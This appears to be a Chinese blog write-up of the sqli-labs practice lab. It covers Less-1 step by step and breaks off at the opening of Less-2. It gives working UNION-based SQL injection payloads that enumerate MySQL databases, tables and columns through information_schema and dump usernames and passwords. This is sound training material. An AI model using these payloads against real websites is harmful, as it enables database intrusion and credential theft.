sqli-lab记录-part1

PART1

前言

Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。

猜数据库 select schema_name from information_schema.schemata

猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容 Select * from **

上述知识参考用例:less1-less4

一些url编码

  • ‘ %27
  • 井号 %23
  • 空格 %20

第一关:less-1 Error Based - String (字符型注入)

在id=1后面加一个’:http://localhost/sqli-labs-master/Less-1/?id=1%27

回显:

看到 ‘’1’’ LIMIT 0,1’ 中’1’(也可得知此处为字符型注入)的后面多了一个’导致无法闭合。

所以想办法注释掉:

  • ?id=1’ or 1=1 –+ 语句:Select**whereid=’1’or1=1–+’LIMIT0,1

  • ?id=1’ or 1=1 %23 语句:Select**whereid=’1’or1=1 #’LIMIT0,1

PS %23即为#的url编码,在url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#,使用url编码即可。

看到成功回显。

接着使用order by查看有几行字段:

  • ?id=1’ order by 1–+
  • ?id=1’ order by 2–+
  • ?id=1’ order by 3–+

正常回显。

在order by 4的时候报错:

说明有三行字段。

接下来使用union联合注入。

爆数据库:

?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

结果发现回显没有变化。

这是因为页面只显示查询的第一条结果。怎么办呢?

可以将id的值改为-1。两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就只将后面的语句的内容显示出来。

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

回显成功

可以看到所有数据库。

选择security数据库爆表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

回显成功

选择user表
爆字段:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

回显成功:

选择username和password字段
爆数据:
?id=-1’ union select 1,username,password from users where id=2–+

PS 更改id值来查询每个数据。

回显成功:

以上。

第一关:less-2 Error Based intiger based (数字型注入)

在?id=1后面加一个’:http://localhost/sqli-labs-master/Less-2/?id=1%27

回显: